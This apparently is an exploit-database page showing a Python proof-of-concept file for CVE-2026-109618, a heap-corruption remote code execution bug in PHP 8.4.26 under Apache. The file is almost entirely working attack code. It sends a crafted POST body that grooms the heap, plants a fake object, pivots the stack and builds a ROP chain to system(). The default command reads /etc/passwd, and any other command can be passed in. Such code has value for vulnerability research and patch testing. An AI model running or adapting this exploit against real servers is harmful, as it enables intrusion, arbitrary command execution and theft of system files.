Exploit databaseDownload repository ZIP
GH-b0686e9bec04e9545259685894c095bc
wkl-sec/cve-2026-109618
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
wkl-sec/cve-2026-109618Revision 33bf33ae07fd
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
rce_8426.py
Python · 7,338 bytes#!/usr/bin/env python3
"""CVE-2026-109618 OOM -> RCE for the php:8.4.26-apache target.
Same OOM/heap-grooming chain as rce.py, but using 8.4.26 target addresses and
a libphp 4-pop ROP gadget:
pop rdi; pop rdx; pop rbx; pop rbp; ret
so the stack is:
[cmd, 0, 0, 0, system, ret]
Author: Joff Thyer, October 2026
"""
from __future__ import annotations
import argparse
import socket
import struct
AUTHOR_CREDIT = "[*] Author: Joff Thyer, October 2026"
class Target:
def __init__(self, host: str = "127.0.0.1", port: int = 8080, timeout: float = 30.0):
self.host = host
self.port = port
self.timeout = timeout
def send_raw(self, data: bytes) -> tuple[bytes, bytes, bytes]:
with socket.create_connection((self.host, self.port), timeout=self.timeout) as s:
s.settimeout(self.timeout)
s.sendall(data)
return _read_http_response(s)
def _read_http_response(s: socket.socket) -> tuple[bytes, bytes, bytes]:
data = bytearray()
s.settimeout(10.0)
try:
while b"\r\n\r\n" not in data:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except (socket.timeout, ConnectionResetError, OSError):
pass
head, _, body = bytes(data).partition(b"\r\n\r\n")
status, _, headers = head.partition(b"\r\n")
return status, headers, body
# vuln_php / php:8.4.26-apache, ASLR off
LIBPHP = 0x7FFFF680A000
LIBC = 0x7FFFF7CA8000
PIVOT = LIBPHP + 0x4FBD50 # jump_fcontext entry
RET = LIBPHP + 0x15701A # ret
POP4 = LIBPHP + 0x19045F # pop rdi; pop rdx; pop rbx; pop rbp; ret
SYSTEM = LIBC + 0x53090 # system
# Controlled pad block in the deterministic no-preload layout
B = 0x7FFFF4C5EE00
# 8.4.26 rc_dtor_func vtable index 6 -> zend_objects_store_del, which then calls
# the fake handlers (dtor_obj = RET no-op, free_obj = jump_fcontext pivot).
DTOR_TYPE = 8
CMD_STR = b"cat /etc/passwd > /tmp/leak.txt; cat /etc/passwd\x00"
#CMD_STR = b"cat /etc/passwd\x00"
def u64(x: int) -> bytes:
return struct.pack("<Q", x)
def u32(x: int) -> bytes:
return struct.pack("<I", x)
def build_pad(B: int, cmd: bytes, live_offset: int = 0x40000) -> bytes:
pad = bytearray(b"P" * 2528)
# In 8.4.26 the walked table's new arData is allocated at B + live_offset and
# copies the old arData (our pad block). Pointers must target the live copy.
# Measured live offsets from the new arData base:
# fake_handlers = +2024
# fake_object = +2064
# cmd = +2224
BASE = B + live_offset
fake_handlers = BASE + 2024
fake_object = BASE + 2064
cmd_addr = BASE + 2224
# For now, keep the original pad-relative pointers so the heap layout matches
# the run where the fake object was copied into the live arData. We will patch
# the live copy's internal pointers with GDB after the copy.
fake_handlers = B + 24 + 2000
fake_object = B + 24 + 2048
cmd_addr = B + 24 + 2200
# fake zend_object_handlers at pad offset 2000
pad[2000:2008] = u64(0) # offset
pad[2008:2016] = u64(0) # unused
pad[2016:2024] = u64(PIVOT) # free_obj at handlers + 0x10
pad[2024:2032] = u64(RET) # dtor_obj
# fake zend_object / fake jump_fcontext stack at pad offset 2048
o = 2048
pad[o + 0x00:o + 0x04] = u32(1) # refcount / valid MXCSR
pad[o + 0x04:o + 0x08] = u32(DTOR_TYPE) # type / valid FCW
pad[o + 0x08:o + 0x0c] = u32(0) # handle
pad[o + 0x0c:o + 0x10] = u32(0) # extra_flags
pad[o + 0x10:o + 0x18] = u64(0) # ce
pad[o + 0x18:o + 0x20] = u64(fake_handlers) # handlers
pad[o + 0x20:o + 0x28] = u64(0) # properties
pad[o + 0x28:o + 0x40] = b"\x00" * 24 # r12/r13/r14/r15/rbx/rbp
pad[o + 0x40:o + 0x48] = u64(POP4) # R8 = 4-pop gadget
pad[o + 0x48:o + 0x50] = u64(cmd_addr) # rdi
pad[o + 0x50:o + 0x58] = u64(0) # rdx
pad[o + 0x58:o + 0x60] = u64(0) # rbx
pad[o + 0x60:o + 0x68] = u64(0) # rbp
pad[o + 0x68:o + 0x70] = u64(SYSTEM) # ret target
pad[o + 0x70:o + 0x78] = u64(RET) # after system returns
# command string at pad offset 2200
pad[2200:2200 + len(cmd)] = cmd
# The bucket zval must still look like an object zval to zend_hash_add, while
# the pointed-to fake object's type selects zend_objects_store_del in 8.4.26.
pad[1928:1936] = u64(fake_object)
pad[1936:1940] = u32(8 | 0x100)
pad[1940:1944] = u32(0)
# 8.4.26 zend_hash_del_ind compares the bucket key pointer (+0x18) against the
# key being deleted. Use a fake key pointer that is unlikely to match any real
# key, so the lookup fails and the shutdown falls through to zend_array_destroy,
# which walks the bucket and calls the fake object's destructor.
pad[1952:1960] = u64(B + 0x40000 + 0x18)
return bytes(pad)
def build_body(B: int, cmd: bytes) -> bytes:
def key(i: int) -> bytes:
return b"X" * (80000 - 16) + (b"%016d" % i)
out = bytearray()
out += b"memshift=" + (b"M" * 40000) + b"&"
for i in range(30):
out += b"a[" + key(i) + b"][c]=v&"
out += b"pad=" + build_pad(B, cmd) + b"&"
out += b"pad=x&"
for i in range(30, 60):
out += b"a[" + key(i) + b"][c]=v&"
return bytes(out)
def main() -> int:
global LIBPHP, LIBC, PIVOT, RET, POP4, SYSTEM
ap = argparse.ArgumentParser(epilog=AUTHOR_CREDIT)
ap.add_argument("host", nargs="?", default="127.0.0.1")
ap.add_argument("port", nargs="?", type=int, default=8080)
ap.add_argument("--b", type=lambda s: int(s, 0), default=B)
ap.add_argument("--libphp", type=lambda s: int(s, 0), default=LIBPHP)
ap.add_argument("--libc", type=lambda s: int(s, 0), default=LIBC)
ap.add_argument("--cmd", default=CMD_STR.decode())
args = ap.parse_args()
print(AUTHOR_CREDIT, flush=True)
LIBPHP = args.libphp
LIBC = args.libc
PIVOT = LIBPHP + 0x4FBD50
RET = LIBPHP + 0x15701A
POP4 = LIBPHP + 0x19045F
SYSTEM = LIBC + 0x53090
cmd = args.cmd.encode() + b"\x00"
body = build_body(args.b, cmd)
head = (
b"POST /index.php HTTP/1.1\r\n"
b"Host: v\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
t = Target(args.host, args.port, timeout=20)
try:
status, _, resp = t.send_raw(head + body)
except Exception as e:
print(f"[-] POST failed: {e}")
return 1
text = resp.decode("utf-8", "replace")
print(text)
if b"root:" in resp or b"daemon:" in resp:
print("[+] RCE: /etc/passwd in response:\n")
print(text)
return 0
# If the shell command wrote /tmp/leak.txt, the operator can read it with:
# docker exec <container> cat /tmp/leak.txt
print(f"[-] no /etc/passwd in response (status={status!r})")
print(f"[-] response tail: {text[-500:]!r}")
print("[-] check container: docker exec <container> cat /tmp/leak.txt")
return 1
if __name__ == "__main__":
raise SystemExit(main())